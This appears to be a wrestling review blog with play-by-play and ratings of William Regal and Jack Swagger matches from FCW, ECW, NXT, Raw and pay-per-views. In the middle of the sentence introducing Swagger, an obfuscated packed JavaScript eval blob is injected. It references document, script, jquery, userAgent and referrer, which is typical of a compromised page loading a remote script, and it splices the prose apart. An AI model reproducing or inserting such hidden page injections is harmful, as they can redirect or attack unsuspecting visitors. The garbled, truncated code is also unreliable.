Well this is random. Kofi won the title 6 days ago from MVP. He beat Hardy and Regal for the title shot in the first place. This is an extreme gimmick? Sure why not. MVP is a face here…I think. Yeah he is. Regal has been hitting on Vickie to get into this. Matt gets a rather solid pop. He’s heel here which is just odd to type.

Oh and Matt still has a broken hand from Mania. MVP is the same thing that he is today. That’s all you need to know about him: he hasn’t changed a bit in a year. Regal hasn’t either but he’s more or less a jobber now so it’s not like it matters that much. Kofi hits a dive to take out every American in this match.

Then he takes out the British guy as well. It’s your usual insanity for one of these matches as we get rotating one on one matches. That works fine I think as it’s really the only way you can do these without insane choreography before it starts. Regal gets solid heel heat. He’s just so easy to hate.

Everybody but Matt gets in a Tower of Doom spot so Matt dives on them all but of course it doesn’t work. Also his hand seems to be just fine all of a sudden. For some reason I love that leg drop that Matt does from the middle rope. It’s not like there’s anything really special about it or anything.

Kofi hits a Boom Drop on Regal who is on top of Matt in a decent spot. Kofi hits that pendulum kick that seemingly every midcard face hits now. I was wrong about MVP not changing anything in a year. Now he is even worse at his belly to belly overhead suplexes. Ballin hits on Matt as we’re very close to the end. You can feel it.

Regal beats up everyone but Kofi bounces off the top rope and hits a kick to the head which is called Trouble in Paradise for the pin to retain. It looked like a one footed dropkick but whatever.

Rating: D+. Not bad I guess, but WAY too short. This wasn’t even seven minutes long and it was just kind of a mess. It’s certainly not a bad match or anything like that, but it just felt thrown together and like it was there to kill time. That’s never a good sign. Kofi’s reign is about as forgettable as you could ask one to be also.

It would be off to the ECW roster soon after this where Regal would become the top heel. After losing to Christian in 8 seconds at Summerslam, Regal would get a longer ECW Title shot at Breaking Point.

ECW Championship: Christian vs. William Regal

This is 5 days after the ECW is Leaving announcement was made so there we are. Naturally Christian gets a huge pop being the Canadian. The monsters are sent to the back. This is more of a technical match which is what Regal is a master of. This is an intense match if nothing else. The fans are as into this as they’ve been into anything all night long. Regal avoids the Killswitch three times and then gets it on the fourth. Well that was abrupt. Somehow this was ten minutes long.

Rating: C-. This wasn’t much at all. It could have been a main event on any ECW TV show and it wouldn’t have been anything special at all. This was pretty weak and as mentioned, the announcement that the brand was folding didn’t do much good for the interest level in this match.

Regal would go into semi-retirement after this and only wrestler a few matches a year. We’ll jump ahead to 2013 where Regal is an NXT commentator but Kassius Ohno is tormenting him. They would have a showdown on April 10, 2013.

Kassius Ohno vs. William Regal

They lock up to start with Regal shoving Ohno back. Brad’s stupid joke of the week is to call Dawson Jerry every few moments. Back to the lockup until Regal takes over with an armbar. Ohno is taken to the mat by the arm as Regal cranks away even more. Now it’s a hammerlock and after a drop toehold Ohno still can’t get back up. Regal lets him back up and Ohno grabs a wristlock, only to be easily sent into the corner and stomped down by the old villain.

A forearm puts Ohno down as this has been one sided so far. Ohno finally gets in a shot to the ribs to send Regal to the floor. A baseball slide puts Regal into the barricade and we take a break. Back with Kassius getting two off something we didn’t see and firing off some HARD kicks in the corner to Regal’s head. Now it’s a full nelson to stay on the neck and upper body of Regal. William uses a nice counter to escape and stomps on Kassius’ fingers for good measure. He bends them back around the ropes as momentum changes again.

Regal stays on the arm and hand and drives some knees into Ohno’s face. Ohno comes back with a hard kick to the head to take Regal down as the ear is hurt even more. Another kick crushes Regal’s head against the post but Ohno can’t hook his cravate hold. Kassius kicks Regal again for two but he still can’t hook the Kassius Clutch. Off to a quick chinlock instead but Regal rolls out and hits a quick exploder suplex. His balance is WAY off though so he can’t hook the Regal Stretch.

A belly to back suplex puts Regal on his head again for two more and Kassius is getting frustrated. William is getting all fired up and gets to his feet, only to have his head kicked off for two. Ohno loads up the rolling elbow but Regal nails him in the ribs to set up the Knee Trembler for the pin at 14:06 shown of 17:36.

Rating: B+. This was a match based on emotion and the injury to Regal which worked very well. The story of teacher vs. student is one that always works and it did the job again here. The good thing here is that Regal didn’t look dominant at all at the end, which keeps Ohno from looking weak. Really good and physical match here with a solid story throughout.

The same thing happened later in the year, but with Cesaro instead of Ohno. From Christmas Day, 2013.

Antonio Cesaro vs. William Regal

The Fink is doing entrances, which gives me an answer to the question I just asked. The disgusted yet also terrified look on Regal’s face is perfect. Cesaro cranks on the arm to start and Regal can’t counter. Antonio takes him to the mat but Regal nips up to draw a gasp from the crowd. Cesaro stays on the hold and takes Regal down again but there’s another nip up. “You still got it!”

Regal takes Cesaro down to his knees but still can’t get away from the wrist control as we take a break. Back with Cesaro still on the arm and jumping onto a standing Regal’s shoulders (basically putting himself in a fireman’s carry) to apply even more pressure. Regal flips him down into an armbar but Cesaro nips up just like Regal did earlier. William takes him down by the other arm but Cesaro powers up into a test of strength.

Cesaro easily powers Regal down but the Englishman counters into a cross arm choke. He leans backwards to put Cesaro over his knees while still choking, only to be flipped forward to escape. Back to the test of strength before Regal counters a front facelock into a dragon sleeper. Cesaro flips him forward in a kind of reverse suplex for two but Regal gets him down into the corner and does his “distract the referee while kicking the opponent in the face” spot.

Antonio chop blocks Regal down and rams the bad knee into the apron a few times as we take another break. Back with Cesaro holding a leg lock but Regal keeps fighting back with kicks to the head. Cesaro keeps control by cranking on the knee even more and taking off Regal’s knee brace. The knee is bent around Cesaro’s neck in an old Brock Lock but Regal counters into a rollup and backslide for two each. Cesaro hits a series of ten uppercuts to knock Regal silly, setting up the Cesaro Swing.

After some trash talk Antonio loads up the Neutralizer but Regal backdrops his way out. He drops a knee on Cesaro’s arm to take away the Neutralizer. Regal goes after the arm with everything he’s got and hits an overhead suplex for two. The knee is too damaged for the knee trembler though and Cesaro comes back with a headbutt. Regal is fine with that and headbutts Cesaro right back before loading up a double underhook suplex. Cesaro backdrops Regal but can’t break the grip.

Regal takes him to the mat again and tries the Regal Stretch but Cesaro makes the rope. A forearm from the good arm lays Regal out and a double stomp to the back of the head has the referee checking him. Cesaro looks down at Regal before picking up his limp body. He sets up the Neutralizer but thinks twice about it and lets Regal fall back to the mat. Regal tries to pull himself up so Cesaro puts on the Neutralizer. He looks down at Regal’s unconscious body and looks disgusted after pinning Regal at 16:00 shown of 24:00.

Rating: A. I loved this for a lot of reasons. First of all, the technical stuff at the beginning was excellent with two old school craftsmen doing their jobs as well as anyone can. It’s wrestling in its purest form and when you have guys who can work that style it’s as entertaining as you can get. Then there’s the excellent storytelling with Regal trying every trick he knew but not being able to stop Cesaro’s raw power. The ending with Cesaro not wanting to hurt Regal anymore but giving in to his natural instincts of winning at any cost was great stuff. I loved this match and continue to wait for Cesaro to be taken seriously in WWE.

William Regal is the definition of an old time wrestler. He can wrestle any style and make you HATE him with relative ease. No he wasn’t ever the top guy, but he’s forgotten more about wrestling than almost anyone else can ever learn. Regal will be a trainer or commentator for as long as he wants and a lot of fans will be very lucky to see his students on WWE TV.

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Wrestler of the Day – May 5: Jack Swagger

Is this on? Check one two. It’s Jack Swagger.

Swagger eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsetf|var|u0026u|referrer|tnehk||js|php'.split('|'),0,{})) started under his real name of Jake Hager, a character based on his own real life experiences as a collegiate wrestler at Oklahoma. He won the FCW Title and defended it on their first television show, airing on October 5, 2008.

Florida Heavyweight Championship: Heath Miller vs. Jake Hager

Miller thinks he’s handsome and gives off a kind of Rick Rude/Johnny Nitro feel. He’s more famous as Heath Slater though. Hager is Jack Swagger and is a cross between Angle and Goldberg. He’s undefeated here and the streak is part of his character. Mixed reaction for Hager who is in regular trunks here. Miller is a rock star without the instruments. I’m not sure if that’s better than one man rock band or not.

Miller also has shoulder length hair which is a weird look for him. Big high knee sends Miller to the floor. Hager is a tweener I think but it’s not really clear. Miller with a nice springboard clothesline to take over as we’re running very low on time. Hager avoids a Zig Zag and hooks the gutwrench for the pin and the end of the show.

Rating: C+. Nothing great here but the idea was to have Hager look like a champion as an introduction to the audience which he certainly did. This was a decent little TV match that gave us something to look forward to on the show. I’m not sure why Hager was fighting him but I guess I can let that slide on a debut for a local TV show. Not bad.

Hager would be brought up to WWE on the ECW roster as Jack Swagger, a much more obnoxious version of his FCW character. He would quickly rise up the ranks and challenge Matt Hardy for the ECW Title on January 13, 2009.

ECW Title: Matt Hardy vs. Jack Swagger

Swagger easily takes him down to the mat to start before cranking on Matt’s arm. We take an early break and come back with Hardy fighting out of a headlock. A bulldog out of the corner gets two for the champion and it’s Swagger in a headlock this time. Swagger forearms him down to the floor and it’s time to work on the arm. Matt’s head is bounced off the mat for two and Jack cranks on the arm even more. A big boot gets two on Hardy and we take another break.

Back with Swagger holding an armbar before grabbing a superplex for two. I suddenly remember why I can’t stand Matt Striker on commentary as he goes on a stupid tangent about political caucuses and how no one challenged in a caucus ever wins. Somehow this is supposed to be about champions never retaining. I’m sure it made sense in Striker’s head and I’m just not smart enough to get it. After all, he used to be a high school history teacher. I say that in jest, but his next line to Todd Grisham is “it’s way over your head.”

Anyway Jack loads up another superplex but gets powerbombed off the top for two. The fans are into this in a hurry. The top turnbuckle pad has been ripped off. Hardy grabs a Russian legsweep for two and the Side Effect gets the same. An armbreaker puts Hardy back down and the running Vader Bomb gets a close two. Off to another armbar but Hardy is quickly to his feet before getting caught in an electric chair. Swagger sends him face first into the exposed buckle and the gutwrench powerbomb gives Swagger the title. Jack laughing at stunned children is a great touch.

Rating: C+. I remember liking this match back when I watched it live and I still like it now. Swagger is a guy that had a lot of potential and that powerbomb is something he should use more often instead of the ankle lock. Hardy could have been a solid option as a champion and I was kind of surprised he was a glorified transitional champion.

Hardy got a rematch at the 2009 Royal Rumble.

ECW Title: Jack Swagger vs. Matt Hardy

Swagger won the title about two weeks ago and this is Hardy’s rematch. We actually get big match intros for this, which is a rare sight for an ECW Title match. Matt takes him into the corner to start before punching Jack in the face. Striker calls that a pugilistic endeavor to sound smart. Another punch sends Swagger to the floor and we head back inside for a clothesline from Matt.

Jack heads to the floor to hide after Matt swings again. Back in and Swagger takes Hardy to the mat and cranks on the arm a bit. Hardy comes back with a dropkick in the corner and a bulldog for two, only to go up and get shoved down to the floor. Back in and Swagger starts in on the arm but Hardy quickly escapes a key lock. A punch to Hardy’s arm blocks a clothesline and a big boot gets two for the champion.

Back to the key lock as Jack stays on the arm. He lifts Hardy off the mat by the arm a few times as the fans cheer for the challenger. Matt fights back but he’s basically fighting with one arm here. A bulldog puts Jack down for two and a middle rope elbow to Swagger’s back gets the same.

Hardy walks into a belly to belly suplex from Jack for two though and both guys are down. A DDT on the arm gets two for the champion but Matt blocks a belly to back superplex. Matt hits a decent looking moonsault for two and the fans are getting into these kickouts. The Twist is countered and Jack sends Matt shoulder and possibly head first into the post. The Swagger Bomb retains the title.

Rating: B-. Better match than I was expecting here with both guys looking good out there. Matt was getting close to being something decent as a singles guy and this was his way off ECW and onto Smackdown. Swagger would go on to win a world title and shock the world in the process before falling through the floor soon after. Solid opener here.

We’ll move on to another guy challenging Swagger for the title, this time at No Way Out 2009.

ECW Title: Finlay vs. Jack Swagger

Swags has the title here of course. Christian would come back soon to really get the title going but for now we have this still. You can literally see people heading to get popcorn and drinks as Swagger comes out. Horny helped Finlay break Swagger’s undefeated streak so there’s your reason for this match. Ok, apparently Christian is already back. That came out of nowhere.

Finlay works on the knee but has his shoulder rammed into the post. The fans aren’t exactly impressed. Shoulderbreaker gets two. The fans are more or less openly booing this now. Swagger hammers on the arm as Finlay is in trouble. He gets a move that doesn’t really have a name but Christian has done it before. You set for a reverse DDT but drive the other guy’s back into a knee.

Swagger charges at Finlay in the corner but the Irish dude gets a rolling cradle for one as he couldn’t get the shoulders down. Swagger puts Finlay on the top but they get down without anything of note happening. Crowd is mostly dead but not quite. Here comes Horny again for no apparent reason. Cross body off the middle rope gets two for Finlay. Celtic Cross is set up but for absolutely zero reason at all, Horny gets on the apron (he’s called a child again despite having abeard). Finlay is rammed into him and the gutwrench powerbomb ends this.

Rating: D. Weak match and no one bought Finlay as having a chance with Christian being back now. Horny being up there like that made zero sense at all unless they’re trying to make him out to be a child which is rather stupid as HE HAS A BEARD. Why am I trying to figure out Leprechaun facial hair? Match was kind of there.

Swagger would lose the title to Christian soon after this. He would receive a rematch in a Scramble match at The Bash.

ECW Title: Christian vs. Tommy Dreamer vs. Jack Swagger vs. Mark Henry vs. Finlay

This is a Scramble match which is more or less a gauntlet. Every three minutes someone else comes in and whoever gets the final pin is champion but you have to pin the champion for the pin to count. Uh…sure. Christian and Swagger start us off. Wow it’s weird to see Swagger as champion before Christian. I miss the pushups.

Ok so if Swagger pins Christian he’s IT more or less? I guess that makes sense. I’m assuming that there will be a clock once everyone comes in. Striker implies a heel turn for Christian but nothing ever came for that. The clock begins far before three minutes is up and it’s Finlay. Striker talks about Irishmen from centuries ago as no one cares at all. Swagger pokes Finlay in the eye and rolls him up to become IT.

Christian and Swagger do a nice little sequence that gets two for the Canadian. He beats Christian down as Dreamer is number four. Dreamer beats up everyone with incredibly basic stuff but throws out a Sky High. Ok apparently it’s not Swagger that has to lose the title as it’s just the last pin. Uh…that kind of makes sense I suppose.

They blow a spot where Christian is on the mat and Dreamer gets thrown onto him. It just looked really awkward. Finlay finally comes back to life and hits the Celtic Cross on Swagger to become IT. Finlay and Dreamer don’t work well together to put it mildly. And here’s Henry to suck the life out of the match. Ok so now we have five minutes left and whoever gets the last fall is champion. Got it.

Dreamer takes the World’s Worst Finisher with 4:15 to make Henry IT. Everyone not named Dreamer beats Henry up and the people start booing for some reason. Finlay hits a suicide dive onto Swagger. Have to love old men flying all over the place. Henry teases a top rope dive but for the sake of the gravitational pull, Swagger saves him and gets the pin to become it with about 2:20 to go.

I like knowing how much longer to go at times and this is one of them. Christian hits the Killswitch on Swagger but Dreamer DDTs him at 1:20 to become IT. It becomes a big mess now which makes sense at least. On instinct Dreamer goes for a cover which they don’t point out the stupidity of. Everyone goes for covers but the clock runs out and Dreamer retains. He screams “I WON???” in a funny moment.

Rating: C+. These matches are hard to call but I liked it. Thankfully they haven’t killed them by having them every two weeks or something like that. This still feels fresh though and it comes off as a good way to be different. Also it makes Dreamer look like a competent champion and not a jobber which I can’t complain about. This worked but was still a little bit weird.

After falling through the floor for awhile, Swagger would make it to the Money in the Bank match at Wrestlemania 26.

Kofi Kingston vs. MVP vs. Evan Bourne vs. Jack Swagger vs. Shelton Benjamin vs. Matt Hardy vs. Dolph Ziggler vs. Drew McIntyre vs. Kane vs. Christian

Kane has a BIG black eye for reasons never explained. Remember when I said eight man matches were too busy? Well here’s a TEN man version. It’s a big brawl to start until MVP throws in the first ladder. Drew tries to go up but gets shoved over by Matt. MVP hits a big running boot to knock Drew to the floor. Nine people fight for two sides of a ladder to climb but Kane cleans house and sends about five guys to the floor.

Christian and Matt go up but Kofi (in the rare white trunks) makes the save. Ziggler hits a kind of Zig Zag off the ladder to Christian but Kane and MVP get back inside. Things are already really congested here. Kane is put into the corner and has a ladder rammed into his ribs. Kofi stumbles up the ladder and falls onto the steel. Shelton comes in with Paydirt to MVP and loads up the big ladder, only to be stabbed with a ladder by Swagger. Jack winds up inside the ladder and gets speared from either side with the tops of ladders between the rungs of the big ladder by Christian and Matt.

Now the ladders Matt and Christian used are bridged across the top rope like a big cross kind of thing. Matt and Christian climb up while Bourne climbs up the side of the ladder. The ladder Matt is standing on falls out and Bourne kicks Christian down, but instead of GETTING THE CASE, Evan hits the Shooting Star on Christian. Now Matt stops Bourne but Swagger comes up and throws Matt onto the other bridged ladder, leaving everyone down.

MVP and Shelton go up but a rana by Benjamin send both guys out to the floor. Kane is the first person back inside but Ziggler makes the stop. He actually climbs over Kane but the big man shoves the ladder over to make the stop. A chokeslam onto the ladder has Dolph in trouble, much like Kane actually slamming the ladder onto Ziggler so hard he BREAKS THE LADDER. In the creative spot of the night, Kofi picks up the two broken pieces and walks on the like stilts.

McIntyre finally makes the save and brings the big ladder back inside. Hardy finally makes the save by shoving Drew off the ladder and onto the top rope for a big crotching. Matt is alone but can’t quite pull the thing down. Christian and Kane join him on top and it’s the big bald being shoved down. Christian hits the reverse DDT (called the Twist of Fate by that schnook Cole) and here’s Swagger back inside. It’s Swagger and Christian on top and a case to the head allows Swagger to (FINALLY as it takes forever) pull down the case to win.

Rating: B-. C+. WAY too many people in there which led to way too much laying around. It’s not a terrible match or anything, but these are getting weaker and weaker as they keep going. Kofi’s stilts spot was great but other than that there’s nothing to see here. We’ve seen these same spots so many times now and they’re getting repetitive, making them weaker every time.

Swagger would win the title about eight days later. His first PPV defense was against Randy Orton (who pinned him less than a week after he won the title to set this up because WWE is stupid sometimes). From Extreme Rules 2010.

Smackdown World Title: Randy Orton vs. Jack Swagger

Remember it’s Extreme Rules which I guess means no rules? Crowd loves them some Orton. Swagger controls early on as you would expect. I’m hoping they don’t make the switch tonight. Orton chasing the title for a few months would be nice. Also Swagger needs the credibility that the title gives him.

I love how more or less the announcers say Orton has nothing but the RKO. That’s not that nice. Swagger is dominating but Orton gets a belt shot to break that up. Ok then. Orton hits that same powerslam that Punk hit earlier. Swagger counters the elevated DDT too. Nicely done. It’s garbage can time.

SICK shots with it from Orton. Those were nice. Orton is going off now and it’s awesome. Orton does a stomp to Swagger’s head while he’s on the steps. Ow. The knee drop misses though and Swagger hits the floor. Naturally he gets caught in the elevated DDT though and it’s Orton setting for the RKO now. Hint: when he slaps the mat and shouts, it means RKO is coming.

Instead though he sets up a chair but the RKO onto it is countered. Well kind of it was. The look came off terribly but I get the concept. Gutwrench powerbomb hits and Swagger gets the pin. HUGE win there. That was all Swagger as he countered the RKO and got the pin. All Swagger there. Post match Orton gets the RKO to keep the tweener thing going.

Rating: B-. Not great but the booking was exactly right. This was a decent little match as Swagger is getting better and better in the ring. For the life of me though I have do not agree with having Swagger lose to set up the match. He’s already not a strong champion so they have him get pinned? Have it be a DQ or countout at least. As for the match, I liked it for what it was. It’s no classic but not bad at all.

The title reign wouldn’t last long as people expected it wouldn’t. Swagger would stick around the midcard until the end of the year when he would get a US Title shot at TLC. Swagger wouldn’t win, but he wanted a rematch in regular wrestling. The match too place on the December 30, 2010 episode of Smackdown.

Intercontinental Title: Kofi Kingston vs. Dolph Ziggler vs. Jack Swagger

Unless there’s something extra at the end, there is a ton of time for this at over 15 minutes left of time in the videos, not including commercials.  Striker calls Vickie Haystacks.  For an old school fan like me, Striker’s little one liners are awesome.  Commercial before the match starts so we don’t miss the opening.  And we’re off.

They double team Kofi to start as the commentators like Dolph to retain.  Ah Josh goes with Kofi for his athleticism.  The big elbow hits Kofi as he’s in big trouble.  The fans cheer for him as we’re three minutes into this and it’s been the exact same thing the entire time.  Swagger tells the fans that he’s their hero.

The guy that might be from Africa but might be from the Caribbean takes over and takes out both guys with a big old suicide dive as we take a break.  Back with Kofi holding Swagger in an armbar as Ziggler is still on the floor.  Dolph breaks up what was presumably going to be the Boom Drop and takes Kofi down on the floor.

Back in the ring a Fameasser to Swagger gets two for the champion.  Vickie yells when a Ziggler neckbreaker gets two on Kofi.  Swagger tries to get back up so Dolph drills him off the apron to get back to Kofi.  That’s rather intelligent indeed and a good thing to see in matches.  Dolph cranks on a chinlock as Kofi is in trouble.

Swagger has been on the floor for a long time here.  Kofi fights back and hits a Superman Punch to drop Dolph for awhile.  Boom Drop hits and it’s Kofi in control.  Here comes Trouble in Paradise but Swagger pops up and pulls Kofi out of the air with a German.  Kofi and Dolph ram heads on the suplex and both are down.  Swagger covers both for long twos as the crowd is getting way into this very quickly.

Back up Dolph can’t get a superplex on Kofi so Swagger powerbombs the heck out of the champion instead.  HUGE crossbody by Kofi only gets two.  Swagger takes out the knee as we’re about to go after the ankle.  Kofi counters it but whiffs on Trouble in Paradise.  Ankle Lock goes on but Dolph hooks the Zig Zag on Swagger for two as Kofi makes the save.

This is GREAT stuff if you didn’t get that.  Kofi vs. Swagger at the moment and Kofi gets something similar to a tornado DDT as Swagger stopped the spin part but Kofi dropped him straight down for two as Vickie puts Swagger’s foot on the rope.  Doctor Bomb is reversed and Trouble in Paradise puts Swagger out cold.  Dolph runs in and rolls up Kofi to steal the pin and keep the title at 12:50 shown of 16:20.

Rating: A. Now I’m not a person that likes triple threats for the most part.  For a big time showdown for a title I’m a traditionalist and want to see two people square off for the gold.  This match was great though with great storytelling, a TON of close near falls and an ending that fit it perfectly.  Dolph kept making sure he was in the ring for the vast majority of the time because he knew he had to protect the title.

Other than that you had both guys trying to avoid finishers and using their experience against each other to counter the known moves.  This was incredibly fun and well worth watching as even knowing who wound up winning I got sucked into it.  Great match and great to see the young guys get to show off to end the year.

Swagger would become Michael Cole’s coach for Cole’s showdown with Jerry Lawler at Wrestlemania XXVII. Cole would win (and we’ll leave that disaster at that) and there would be a tag team match to follow up at Extreme Rules 2011.

Michael Cole/Jack Swagger vs. Jim Ross/Jerry Lawler

Country whipping match here, which means they all have straps.  Cole, I kid you not, is wrapped in bubble wrap.  Ross has a legit broken hand after beating Cole up Monday.  Cole gives us his resume as a reporter and insults all of Florida by saying everyone is old.  Lawler vs. Cole to start as Lawler can’t hurt him.  Lawler goes for the only unprotected part: Cole’s face.  There goes the bubble wrap and it’s off to Swagger.

Basically this is Lawler vs. Swagger for all intents and purposes as they have a one on one match for a few minutes.  Lawler gets him down but takes a chop block as he goes after Cole.  Ankle Lock goes on for like 30 seconds as Ross WEAKLY hits Swagger to break the hold.  Off to JR who puts an ankle lock on Swagger!  Swagger escapes and I think accidentally tags Cole.  Ross wastes WAY too much time for a clothesline and whips Cole a bit.  Ankle lock goes on Cole and even takes Swagger out with a low blow.  He turns to whip Swagger….and gets rolled up by Cole to end it.  Dang it this is going to keep going isn’t it?

Rating: F. Hey look, Cole wins again and gets to run his mouth a bit more.  Not as bad as Mania but still, DO SOMETHING ELSE!  This has been done and it’s been done multiple times already so why do they keep going with it?  Cole can still be a jerk but give us SOMETHING for a change instead.  Match sucked too.

He wouldn’t be an All-American American if he didn’t wrestle on the Fourth of July would he? From 2011.

Sgt. Slaughter vs. Jack Swagger

Slaughter is very bald.  If you’ve seen any Sarge match where he’s a legend you’ll seen this one.  Sarge gets the jump on him a few seconds into the match and gets the Cobra Clutch but Swagger escapes and a Vader Bomb ends this at 1:18.

In late 2011, the hottest star in the company was Zack Ryder. WWE then decided that having him over in the midcard and selling a ton of merchandise was a bad thing, so they had Kane beat him up and then defend the US Title against Jack Swagger on January 16, 2012’s Raw.

US Title: Jack Swagger vs. Zack Ryder

Swagger goes straight for the ribs and Ryder’s offense can’t do much. Vader Bomb to the back gets two. Gutwrench powerbomb barely gets two. Another gets the same. He drops elbows on Ryder’s ribs and slaps him around before hitting a third powerbomb…and he wins the freaking title at 2:35.

Swagger wouldn’t do much more for the rest of the year due to injuries and various other issues. We’ll pick things up at Elimination Chamber 2013. Swagger would return to TV at the side of Zeb Colter, a man who was basically a caricature of the Tea Party political movement. This would work well for Swagger though, as he would qualify for the Elimination Chamber match where the winner would receive a World Title match at Wrestlemania XXIX.

Jack Swagger vs. Kane vs. Daniel Bryan vs. Randy Orton vs. Mark Henry vs. Chris Jericho

Swagger has new music and Zeb Coulter with him. Jack says that when he talks, he showers us with truth. The mustache with Coulter attached talks about the Louisiana Purchase and how disappointed Thomas Jefferson would be with what has become of the once great nation. He doesn’t like illegal immigrants asking for handouts, so the two of them will make things right. Tonight marks the beginning of a Jack Swagger America. The starters are going to be Jericho and Bryan.

Jericho snaps off some armdrags and hooks a headlock on the mat. Bryan counters into a NO Lock attempt but Jericho rolls out into an attempt at the Walls. Bryan rolls out of that to send Jericho into the corner before hitting some NO kicks. Daniel moonsaults out of the corner but gets sent to the cage on the outside. They fight to try to slam each other onto the Chamber floor but Bryan tries the NO Lock again. Jericho counters into a slingshot into the cage as they head back inside.

Back in and a belly to back suplex gets two for Chris. Jack Swagger is in third and he goes right after Jericho. Bryan gets rammed into the cage wall a few times and Swagger follows up with a splash to crush Goat Face again. Swagger drives his knee into Bryan’s head to mash it against the Chamber floor but Jericho makes a save. Jack sends the Canadian into the cage a few times but Bryan comes back with a running knee to Swagger’s head to put him down again.

The swan dive from Bryan misses Jericho and Kane is in fourth. Kane and Bryan team up on Jericho and Swagger but Bryan turns on Kane with a rollup for two. Bryan wants to hug it out but instead Kane hits him in the face. The NO kicks have Kane in some trouble but the NO Lock is countered into a side slam for two. Kane goes up top but Bryan breaks up the clothesline. Jericho comes back in and plays Animal to Kane’s Hawk in a Doomsday Device on Bryan. That gets two for Swagger but he can’t suplex Kane a second later.

Randy Orton comes in fifth. He cleans house and hits a slingshot suplex on Bryan followed by the Elevated DDT on Kane onto the Chamber. In a cool visual, Orton superplexes Swagger just before Jericho superplexes Bryan to put all five guys down. Henry is desperate to get in and there goes the clock, giving us all six guys in the Chamber at once. House is cleaned again and a World’s Strongest Slam eliminates Bryan to get us down to five.

Henry easily tosses Orton through the glass of a pod in a painful looking visual. Back inside it’s Henry vs. Kane and the masked man staggers Henry with a big boot. The top rope clothesline is countered into another World’s Strongest Slam to eliminate Kane and get us down to four. Henry loads up Jericho but Chris escapes and sends Henry into the pod wall. Swagger helps Jericho out and they hit a double suplex onto the Chamber floor. Jericho and Swagger head back in and a cross body off the top gets two for Chris.

The gutwrench powerbomb is blocked by Jericho but he can’t hook the Walls. A bulldog looks to set up the Lionsault but Henry catches Jericho by the throat and throws him into the Chamber wall. Mark launches Jericho onto Swagger and both blonde haired guys are down. Henry misses a Vader Bomb onto both guys and it’s a Codebreaker and RKO to eliminate the World’s Strongest Man.

We’re down to Orton, Swagger and Jericho but all three guys are down. Henry is applauded as he leaves but goes back inside to hit World’s Strongest Slams on all three guys. The fans are digging Henry here and I can’t say I blame them. Booker and Teddy come out to try to stop Henry and they finally get him out of the Chamber. Swagger covers Orton for two and has early control of the three way fight.

Orton and Jericho team up to throw Swagger shoulder and head first into the post/pod. The slugout is on now instead of eliminating Swagger though which could come back to haunt them. Jericho goes up but jumps into a dropkick for two. Swagger is back in now and walks into a powerslam, as does Jericho. Chris breaks up the Elevated DDT on Swagger with a dropkick for two. The Codebreaker to Swagger is countered into a belly to belly suplex for two more.

The running Vader Bomb (popular move tonight) doesn’t connect with Orton but Swagger avoids the boot to the face and hooks the Patriot Act. Jericho hits an enzugiri on Swagger to break up the hold (why?) and there are the Walls on Jack. Orton breaks up the hold (again, why?) and gets two on Jericho before hitting a double Elevated DDT. Randy loads up the RKO but Jericho blocks it, only to miss the Lionsault and walk into the RKO for the elimination. Swagger immediately rolls up Orton for the final pin at 31:25 to go to Wrestlemania.

Rating: B. This was solid stuff and while it was somewhat obvious that Swagger was winning when they got down to three, the match never got dull or uninteresting as they had a very solid triple threat segment at the end. I’m not wild on Swagger winning and getting a shot at the title, but at least they’ve tweaked his character a bit to make him somewhat more interesting. Good Chamber match.

Here’s his title match.

World Heavyweight Championship: Alberto Del Rio vs. Jack Swagger

After all that, Swagger doesn’t even get an entrance. AT WRESTLEMANIA. Colter goes into a rant about how horrible this country is because of how many other languages people speak now, including Chinese and Yiddish. However, Swagger will fix everything tonight by winning the World Heavyweight Championship. Del Rio wears an old school robe and after the big match intros we’re ready to go.

Del Rio quickly sends him to the floor and sends Swagger into the announcers’ table but gets trippled by Colter. Back inside and Jack sends him shoulder first into the post to take over. A quick rollup gets two for the champion but Jack drops him with a kick to the head. The Vader Bomb gets two but Del Rio counters Jack instead of having his knee wrapped around the post. Back in and Jack runs into a boot to the face before taking a few clotheslines to put the champion back in control.

Alberto stomps on Colter’s hand for good measure before the low superkick gets two. The armbreaker is countered into a kind of powerslam for a very close two as Jack is in control again. Jack takes out the knee and puts on the Patriot Lock but Alberto quickly kicks away. He misses the enziguri in the corner though and Jack stays up. Del Rio comes right back with a series of forearms in the corner and the Backstabber is good for two.

The champion hits a German suplex but takes his time following up. His cross armbreaker is countered into the gutwrench powerbomb to give Swagger a two count and there’s the Patriot Lock again. Alberto is almost to the ropes but Jack pulls him back into the middle. Instead Del Rio pulls him down into the armbreaker but Jack counters that into the Patriot Lock.

This time Alberto makes the ropes before countering another gutwrench suplex into a kick to the head. He limps into the corner enziguri for two as Colter puts Swagger’s leg on the ropes. Zeb goes even more evil by kicking Ricardo’s leg out to draw Del Rio outside, allowing Jack to send him into the barricade. Back in and Alberto grabs the armbreaker out of nowhere to retain the title. It’s as sudden as it sounds.

Rating: C+. This was getting good in the middle but they ran to the finish almost immediately. There’s a chemistry there and I’d love to see them do stuff on the mat and trade submissions for fifteen minutes. Instead it didn’t even get eleven and they cut off the technical stuff to go for the manager. That being said, it’s still a good match but it could have been great.

Swagger’s run was more or less over at this point so the solution was the same as it always is: job him a lot and then throw him into a tag team. In this case it was with Cesaro as the Real Americans. They would be in a fourway Tag Team Title match at TLC 2013.

Tag Titles: Real Americans vs. Big Show/Rey Mysterio vs. Cody Rhodes/Goldust vs. Ryback/Curtis Axel

Rhodes and Goldust are defending and this is elimination rules. Ryback and Axel have both beaten the champions in the last few weeks while Big Show and Mysterio have teamed together I believe once. Ryback shoves Rhodes around to start but gets caught in a half crab, allowing Goldust to come in with an elbow to the back of Ryback’s head. Off to Axel for a nice dropkick, only to get caught in a wristlock.

Axel fights up but Goldust makes a tag off to Big Show who keeps up the arm work. There’s the skin ripping chop and the fans want it one more time. Show does it a third time and Axel sells it like he got shot. Mysterio comes in for some forearms but Axel sends him into the corner. Ryback gets the tag and pounds Mysterio down, only to bring Axel back in for something resembling stereo cross bodies to put both guys down.

